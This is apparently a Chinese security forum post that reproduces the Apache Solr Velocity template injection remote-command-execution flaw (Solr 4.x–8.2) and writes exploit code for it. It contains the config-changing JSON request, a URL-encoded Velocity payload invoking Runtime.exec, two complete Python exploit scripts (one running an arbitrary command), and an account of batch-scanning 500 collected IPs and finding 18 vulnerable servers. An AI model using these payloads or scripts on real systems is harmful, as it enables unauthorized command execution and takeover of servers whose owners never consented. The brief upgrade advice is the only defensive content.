Apache Solr Velocity模版注入远程命令执行漏洞复现以及POC编写【通过】

0x01 漏洞概述

10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复现,此漏洞已经能够被批量利用。

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

该漏洞的产生原因:Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中,params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的POST请求,将params.resource.loader.enabled的值修改为true,在服务器上进行命令执行,从而获取服务器的权限。如果在赔上solr未授权访问漏洞,存在于外网的大部分solr服务器将不堪一击!

关于params.resource.loader.enabled的介绍:

0x02 影响范围

solr 4.x~solr 8.2 版本

0x03 本地复现

通过清华大学镜像站下载个7.7版本的solr

1578276338655

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/

安装到kail,因为在kail上可以不用再去配置Java环境。(使用docker也可以)

我直接解压到桌面然后启动起来,启动记得加上 -force ,不然会提示你存在安全风险。

cd solr-7.7.2/

./bin/solr start -force

可以看到solr服务已经启动起来,默认端口为8983。接下来我们使用浏览器访问solr,此时没做任何配置是存在solr未授权访问的,所以只在浏览器新建一个core。(可能会遇到无法添加core问题,将 /solr-7.7.0/server/solr/configsets/_default 下的 conf 文件夹复制到 new_core 文件夹下即可。)

我这里已经添加成功了,现在就可以利用安全研究员S00pY所提供的的POC来验证即可。

这个POC的思路是向某个core的config文件POST发送一个json格式的数据包,将 params.resource.loader.enabled 设置为 ture(默认为false)

1578278035752

当返回包为200(某些低版本为500)时,就说明我们修改的配置已经生效可以进行命令执行。

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

此时,在查看new_core的config的params.resource.loader.enabled 的值,已经为ture

1578278140818

此时,利用给出的poc直接访问即可。

http://192.168.153.131:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

0x04 修补方法

修补方法:升级到最新的solr8.4版本

0x05 POC编写

知道这个漏洞的实现原理后POC的编写就很简单了,利用python2.7编写。用到了sys、request、json模块

# -*- coding: utf-8 -*-
import requests
import json
import sys
​
​
​
def main(url, cmd):
# 获取core的名称
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
​
r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]
​
newurl = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}
​
modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}
#发送json格式的数据包
res = requests.post(newurl, headers=modifyConfig_headers,json=modifyConfig_json)
if res.status_code == 200 or 500:
try:
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('{}'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format(
cmd)
target = url + '/solr/' + jas502n_Core_Name + p
print u'命令执行url:'
print target
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
print u'命令执行结果:'
print result.content
except Exception as e:
print
'failed'
​
​
if __name__ == '__main__':
print
main(sys.argv[1], sys.argv[2])

POC使用时直接加上url就行,但是url最后不要有斜杠。

0x06 批量验证

采用Xyntax大佬的渗透测试插件化并发框架 POC-T

1578280236707

这个框架实现漏洞验证非常简便而对于POC的编写也很友好。

1578279815956

将我们的代码稍微改进一下。

# -*- coding: utf-8 -*-
import requests
import re
import sys
import json
​
def poc(url):
if '://' not in url:
url = 'http://' + url
try:
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
​
r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]
​
debug_model_url = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}
​
modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}
​
r3 = requests.post(debug_model_url, headers=modifyConfig_headers,json=modifyConfig_json)
if r3.status_code == 200 or 500:
​
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
target = url + '/solr/' + jas502n_Core_Name + p
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
return url
except Exception :
pass

然后将收集到的url进行批量验证

python2 POC-T.py -eT -t 50 -s solr_new_poc.py -iF C:\Users\Administrator\Desktop\txt\solrtest.txt

500个ip找到了18个存在漏洞的solr

更对关于POC-T的使用请移步GitHub(虽然作者很久没更新了哈哈哈,但是还是很好用的)

0x07 参考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

  • 通过
  • 未通过

0 投票者

2 个赞